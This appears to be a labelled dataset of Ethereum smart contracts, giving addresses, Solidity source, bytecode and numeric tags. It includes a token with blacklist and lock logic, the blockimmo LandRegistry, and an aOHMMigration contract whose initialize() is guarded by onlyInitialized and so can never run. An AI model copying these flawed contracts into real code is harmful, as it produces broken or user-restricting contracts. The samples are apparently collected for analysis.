fffffffff16146135b1576135ac606461359e6007548661373d90919063ffffffff16565b6136f390919063ffffffff16565b6135da565b6135d960646135cb6008548661373d90919063ffffffff16565b6136f390919063ffffffff16565b5b905061362e81601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d290919063ffffffff16565b601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136ce9190614475565b60405180910390a36136e9818461314890919063ffffffff16565b9150509392505050565b600061373583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b82565b905092915050565b60008083141561375057600090506137b2565b6000828461375e9190614611565b905082848261376d91906145e0565b146137ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137a490614395565b60405180910390fd5b809150505b92915050565b6000600267ffffffffffffffff8111156137d5576137d461486f565b5b6040519080825280602002602001820160405280156138035781602001602082028036833780820191505090505b509050308160008151811061381b5761381a614840565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156138bd57600080fd5b505afa1580156138d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138f59190613c7b565b8160018151811061390957613908614840565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061397030601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612838565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139d49594939291906144c0565b600060405180830381600087803b1580156139ee57600080fd5b505af1158015613a02573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613a37929190614490565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a89573d6000803e3d6000fd5b505050565b613abb30601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612838565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b07611a1e565b426040518863ffffffff1660e01b8152600401613b299695949392919061421c565b6060604051808303818588803b158015613b4257600080fd5b505af1158015613b56573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b7b9190613e15565b5050505050565b60008083118290613bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bc091906142b3565b60405180910390fd5b5060008385613bd891906145e0565b9050809150509392505050565b600081359050613bf481614c1f565b92915050565b600081519050613c0981614c1f565b92915050565b600081359050613c1e81614c36565b92915050565b600081359050613c3381614c4d565b92915050565b600081519050613c4881614c4d565b92915050565b600060208284031215613c6457613c6361489e565b5b6000613c7284828501613be5565b91505092915050565b600060208284031215613c9157613c9061489e565b5b6000613c9f84828501613bfa565b91505092915050565b60008060408385031215613cbf57613cbe61489e565b5b6000613ccd85828601613be5565b9250506020613cde85828601613be5565b9150509250929050565b600080600060608486031215613d0157613d0061489e565b5b6000613d0f86828701613be5565b9350506020613d2086828701613be5565b9250506040613d3186828701613c24565b9150509250925092565b60008060408385031215613d5257613d5161489e565b5b6000613d6085828601613be5565b9250506020613d7185828601613c0f565b9150509250929050565b60008060408385031215613d9257613d9161489e565b5b6000613da085828601613be5565b9250506020613db185828601613c24565b9150509250929050565b600060208284031215613dd157613dd061489e565b5b6000613ddf84828501613c0f565b91505092915050565b600060208284031215613dfe57613dfd61489e565b5b6000613e0c84828501613c24565b91505092915050565b600080600060608486031215613e2e57613e2d61489e565b5b6000613e3c86828701613c39565b9350506020613e4d86828701613c39565b9250506040613e5e86828701613c39565b9150509250925092565b60008060008060808587031215613e8257613e8161489e565b5b6000613e9087828801613c24565b9450506020613ea187828801613c24565b9350506040613eb287828801613c24565b9250506060613ec387828801613c24565b91505092959194509250565b6000613edb8383613ef6565b60208301905092915050565b613ef0816146b1565b82525050565b613eff8161469f565b82525050565b613f0e8161469f565b82525050565b6000613f1f82614545565b613f298185614568565b9350613f3483614535565b8060005b83811015613f65578151613f4c8882613ecf565b9750613f578361455b565b925050600181019050613f38565b5085935050505092915050565b613f7b816146c3565b82525050565b613f8a81614706565b82525050565b613f9981614718565b82525050565b6000613faa82614550565b613fb48185614579565b9350613fc481856020860161474e565b613fcd816148a3565b840191505092915050565b6000613fe5602383614579565b9150613ff0826148b4565b604082019050919050565b6000614008602683614579565b915061401382614903565b604082019050919050565b600061402b602283614579565b915061403682614952565b604082019050919050565b600061404e601b83614579565b9150614059826149a1565b602082019050919050565b6000614071601f83614579565b915061407c826149ca565b602082019050919050565b6000614094602883614579565b915061409f826149f3565b604082019050919050565b60006140b7602183614579565b91506140c282614a42565b604082019050919050565b60006140da602083614579565b91506140e582614a91565b602082019050919050565b60006140fd602983614579565b915061410882614aba565b604082019050919050565b6000614120602583614579565b915061412b82614b09565b604082019050919050565b6000614143602483614579565b915061414e82614b58565b604082019050919050565b6000614166601f83614579565b915061417182614ba7565b602082019050919050565b6000614189602383614579565b915061419482614bd0565b604082019050919050565b6141a8816146ef565b82525050565b6141b7816146f9565b82525050565b60006020820190506141d26000830184613f05565b92915050565b60006020820190506141ed6000830184613ee7565b92915050565b60006040820190506142086000830185613f05565b6142156020830184613f05565b9392505050565b600060c0820190506142316000830189613f05565b61423e602083018861419f565b61424b6040830187613f90565b6142586060830186613f90565b6142656080830185613f05565b61427260a083018461419f565b979650505050505050565b60006020820190506142926000830184613f72565b92915050565b60006020820190506142ad6000830184613f81565b92915050565b600060208201905081810360008301526142cd8184613f9f565b905092915050565b600060208201905081810360008301526142ee81613fd8565b9050919050565b6000602082019050818103600083015261430e81613ffb565b9050919050565b6000602082019050818103600083015261432e8161401e565b9050919050565b6000602082019050818103600083015261434e81614041565b9050919050565b6000602082019050818103600083015261436e81614064565b9050919050565b6000602082019050818103600083015261438e81614087565b9050919050565b600060208201905081810360008301526143ae816140aa565b9050919050565b600060208201905081810360008301526143ce816140cd565b9050919050565b600060208201905081810360008301526143ee816140f0565b9050919050565b6000602082019050818103600083015261440e81614113565b9050919050565b6000602082019050818103600083015261442e81614136565b9050919050565b6000602082019050818103600083015261444e81614159565b9050919050565b6000602082019050818103600083015261446e8161417c565b9050919050565b600060208201905061448a600083018461419f565b92915050565b60006040820190506144a5600083018561419f565b81810360208301526144b78184613f14565b90509392505050565b600060a0820190506144d5600083018861419f565b6144e26020830187613f90565b81810360408301526144f48186613f14565b90506145036060830185613f05565b614510608083018461419f565b9695505050505050565b600060208201905061452f60008301846141ae565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614595826146ef565b91506145a0836146ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156145d5576145d46147b3565b5b828201905092915050565b60006145eb826146ef565b91506145f6836146ef565b925082614606576146056147e2565b5b828204905092915050565b600061461c826146ef565b9150614627836146ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156146605761465f6147b3565b5b828202905092915050565b6000614676826146ef565b9150614681836146ef565b925082821015614694576146936147b3565b5b828203905092915050565b60006146aa826146cf565b9050919050565b60006146bc826146cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006147118261472a565b9050919050565b6000614723826146ef565b9050919050565b60006147358261473c565b9050919050565b6000614747826146cf565b9050919050565b60005b8381101561476c578082015181840152602081019050614751565b8381111561477b576000848401525b50505050565b6000600282049050600182168061479957607f821691505b602082108114156147ad576147ac614811565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f546f2f66726f6d206164647265737320697320626c61636b6c69737465642100600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300600082015250565b7f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c60008201527f6f636b0000000000000000000000000000000000000000000000000000000000602082015250565b614c288161469f565b8114614c3357600080fd5b50565b614c3f816146c3565b8114614c4a57600080fd5b50565b614c56816146ef565b8114614c6157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205e8118ad7ad4743a125b1dde789c202712d7a5136c48f02d2ea7d7db9798c3de64736f6c63430008070033
[ 13, 5, 4, 11 ]
0xf31b25b753dfb6a79cf36630dcf03ff53178341c
/** * Copyright (c) 2018 blockimmo AG license@blockimmo.ch * Non-Profit Open Software License 3.0 (NPOSL-3.0) * https://opensource.org/licenses/NPOSL-3.0 */ pragma solidity 0.4.25; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title LandRegistry * @dev A minimal, simple database mapping properties to their on-chain representation (`TokenizedProperty`). * * The purpose of this contract is not to be official or replace the existing (off-chain) land registry. * Its purpose is to map entries in the official registry to their on-chain representation. * This mapping / bridging process is enabled by our legal framework, which works in-sync with and relies on this database. * * `this.landRegistry` is the single source of truth for on-chain properties verified legitimate by blockimmo. * Any property not indexed in `this.landRegistry` is NOT verified legitimate by blockimmo. * * `TokenizedProperty` references `this` to only allow tokens of verified properties to be transferred. * Any (unmodified) `TokenizedProperty`'s tokens will be transferable if and only if it is indexed in `this.landRegistry` (otherwise locked). * * `LandRegistryProxy` enables `this` to be easily and reliably upgraded if absolutely necessary. * `LandRegistryProxy` and `this` are controlled by a centralized entity. * This centralization provides an extra layer of control / security until our contracts are time and battle tested. * We intend to work towards full decentralization in small, precise, confident steps by transferring ownership * of these contracts when appropriate and necessary. */ contract LandRegistry is Claimable { mapping(string => address) private landRegistry; event Tokenized(string eGrid, address indexed property); event Untokenized(string eGrid, address indexed property); /** * this function's abi should never change and always maintain backwards compatibility */ function getProperty(string _eGrid) public view returns (address property) { property = landRegistry[_eGrid]; } function tokenizeProperty(string _eGrid, address _property) public onlyOwner { require(bytes(_eGrid).length > 0, "eGrid must be non-empty string"); require(_property != address(0), "property address must be non-null"); require(landRegistry[_eGrid] == address(0), "property must not already exist in land registry"); landRegistry[_eGrid] = _property; emit Tokenized(_eGrid, _property); } function untokenizeProperty(string _eGrid) public onlyOwner { address property = getProperty(_eGrid); require(property != address(0), "property must exist in land registry"); landRegistry[_eGrid] = address(0); emit Untokenized(_eGrid, property); } }
0x60806040526004361061008d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416632041b99781146100925780634e71e0c8146100f8578063715018a61461010d5780638da5cb5b14610122578063ab331a3414610153578063e30c3978146101ac578063f2fde38b146101c1578063f931eaef146101e2575b600080fd5b34801561009e57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526100f694369492936024939284019190819084018382808284375094975050509235600160a060020a0316935061023b92505050565b005b34801561010457600080fd5b506100f6610546565b34801561011957600080fd5b506100f66105ce565b34801561012e57600080fd5b5061013761063a565b60408051600160a060020a039092168252519081900360200190f35b34801561015f57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101379436949293602493928401919081908401838280828437509497506106499650505050505050565b3480156101b857600080fd5b506101376106ba565b3480156101cd57600080fd5b506100f6600160a060020a03600435166106c9565b3480156101ee57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526100f694369492936024939284019190819084018382808284375094975061070f9650505050505050565b600054600160a060020a0316331461025257600080fd5b81516000106102ab576040805160e560020a62461bcd02815260206004820152601e60248201527f6547726964206d757374206265206e6f6e2d656d70747920737472696e670000604482015290519081900360640190fd5b600160a060020a0381161515610331576040805160e560020a62461bcd02815260206004820152602160248201527f70726f70657274792061646472657373206d757374206265206e6f6e2d6e756c60448201527f6c00000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000600160a060020a03166002836040518082805190602001908083835b6020831061036e5780518252601f19909201916020918201910161034f565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a03169290921491506104259050576040805160e560020a62461bcd02815260206004820152603060248201527f70726f7065727479206d757374206e6f7420616c72656164792065786973742060448201527f696e206c616e6420726567697374727900000000000000000000000000000000606482015290519081900360840190fd5b806002836040518082805190602001908083835b602083106104585780518252601f199092019160209182019101610439565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382018520805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039788161790558185528751858301528751958716957f330ed294d7dc5718ce498aabea0edf87db5cde4e7eb3d7bfeb6a3ee75b1a171895899550935083929183019185019080838360005b838110156105085781810151838201526020016104f0565b50505050905090810190601f1680156105355780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600154600160a060020a0316331461055d57600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031633146105e557600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b60006002826040518082805190602001908083835b6020831061067d5780518252601f19909201916020918201910161065e565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316949350505050565b600154600160a060020a031681565b600054600160a060020a031633146106e057600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461072757600080fd5b61073082610649565b9050600160a060020a03811615156107b7576040805160e560020a62461bcd028152602060048201526024808201527f70726f7065727479206d75737420657869737420696e206c616e64207265676960448201527f7374727900000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60006002836040518082805190602001908083835b602083106107eb5780518252601f1990920191602091820191016107cc565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382018520805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039788161790558185528751858301528751958716957f57b1cc141d5ce4666c0ad98dfe6ca7da42554b374209512569fef010fd6e8f3c9589955093508392918301918501908083836000838110156105085781810151838201526020016104f05600a165627a7a72305820682487e6e000f86701d44eb604dac86092f3cf600021ba1d73123107c8f4e1d20029
[ 38 ]
0xf31b987e4be1b1e55bdb244db3bbcff9397dd23c
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; interface IOwnable { function owner() external view returns (address); function renounceOwnership() external; function transferOwnership( address newOwner_ ) external; } contract Ownable is IOwnable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = msg.sender; emit OwnershipTransferred( address(0), _owner ); } /** * @dev Returns the address of the current owner. */ function owner() public view override returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual override onlyOwner() { emit OwnershipTransferred( _owner, address(0) ); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership( address newOwner_ ) public virtual override onlyOwner() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred( _owner, newOwner_ ); _owner = newOwner_; } } interface IERC20 { function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } /* * Expects percentage to be trailed by 00, */ function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } /* * Expects percentage to be trailed by 00, */ function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } /** * Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } contract aOHMMigration is Ownable { using SafeMath for uint256; uint256 swapEndBlock; IERC20 public OHM; IERC20 public aOHM; bool public isInitialized; mapping(address => uint256) public senderInfo; modifier onlyInitialized() { require(isInitialized, "not initialized"); _; } function initialize ( address _OHM, address _aOHM, uint256 _swapDuration ) public onlyInitialized() { OHM = IERC20(_OHM); aOHM = IERC20(_aOHM); swapEndBlock = block.number.add(_swapDuration); isInitialized = true; } function migrate(uint256 amount) external onlyInitialized() { require( aOHM.balanceOf(msg.sender) >= amount, "amount above user balance" ); require(block.number < swapEndBlock, "swapping of aOHM has ended"); aOHM.transferFrom(msg.sender, address(this), amount); senderInfo[msg.sender] = senderInfo[msg.sender].add(amount); OHM.transfer(msg.sender, amount); } function reclaim() external { require(senderInfo[msg.sender] > 0, "user has no aOHM to withdraw"); require( block.number > swapEndBlock, "aOHM swap is still ongoing" ); uint256 amount = senderInfo[msg.sender]; senderInfo[msg.sender] = 0; aOHM.transfer(msg.sender, amount); } function withdraw() external onlyOwner() { require(block.number > swapEndBlock, "swapping of aOHM has not ended"); uint256 amount = OHM.balanceOf(address(this)); OHM.transfer(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806380e9071b1161007157806380e9071b1461012f578063831f4df1146101375780638da5cb5b1461015b578063a6c41fec14610163578063a6dd4c661461016b578063f2fde38b146101a3576100a9565b80631794bb3c146100ae578063392e53cd146100e65780633ccfd60b14610102578063454b06081461010a578063715018a614610127575b600080fd5b6100e4600480360360608110156100c457600080fd5b506001600160a01b038135811691602081013590911690604001356101c9565b005b6100ee61026e565b604080519115158252519081900360200190f35b6100e461027e565b6100e46004803603602081101561012057600080fd5b5035610430565b6100e46106a7565b6100e4610750565b61013f61086f565b604080516001600160a01b039092168252519081900360200190f35b61013f61087e565b61013f61088d565b6101916004803603602081101561018157600080fd5b50356001600160a01b031661089c565b60408051918252519081900360200190f35b6100e4600480360360208110156101b957600080fd5b50356001600160a01b03166108ae565b600354600160a01b900460ff16610219576040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b9a5d1a585b1a5e9959608a1b604482015290519081900360640190fd5b600280546001600160a01b038086166001600160a01b031992831617909255600380549285169290911691909117905561025343826109ad565b60015550506003805460ff60a01b1916600160a01b17905550565b600354600160a01b900460ff1681565b6000546001600160a01b031633146102dd576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001544311610333576040805162461bcd60e51b815260206004820152601e60248201527f7377617070696e67206f6620614f484d20686173206e6f7420656e6465640000604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561037e57600080fd5b505afa158015610392573d6000803e3d6000fd5b505050506040513d60208110156103a857600080fd5b50516002546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b15801561040157600080fd5b505af1158015610415573d6000803e3d6000fd5b505050506040513d602081101561042b57600080fd5b505050565b600354600160a01b900460ff16610480576040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b9a5d1a585b1a5e9959608a1b604482015290519081900360640190fd5b600354604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156104ca57600080fd5b505afa1580156104de573d6000803e3d6000fd5b505050506040513d60208110156104f457600080fd5b50511015610549576040805162461bcd60e51b815260206004820152601960248201527f616d6f756e742061626f766520757365722062616c616e636500000000000000604482015290519081900360640190fd5b600154431061059f576040805162461bcd60e51b815260206004820152601a60248201527f7377617070696e67206f6620614f484d2068617320656e646564000000000000604482015290519081900360640190fd5b600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156105f957600080fd5b505af115801561060d573d6000803e3d6000fd5b505050506040513d602081101561062357600080fd5b50503360009081526004602052604090205461063f90826109ad565b33600081815260046020818152604080842095909555600254855163a9059cbb60e01b8152928301949094526024820186905293516001600160a01b039093169363a9059cbb9360448084019492939192918390030190829087803b15801561040157600080fd5b6000546001600160a01b03163314610706576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b336000908152600460205260409020546107b1576040805162461bcd60e51b815260206004820152601c60248201527f7573657220686173206e6f20614f484d20746f20776974686472617700000000604482015290519081900360640190fd5b6001544311610807576040805162461bcd60e51b815260206004820152601a60248201527f614f484d2073776170206973207374696c6c206f6e676f696e67000000000000604482015290519081900360640190fd5b336000818152600460208181526040808420805490859055600354825163a9059cbb60e01b81529485019690965260248401819052905190946001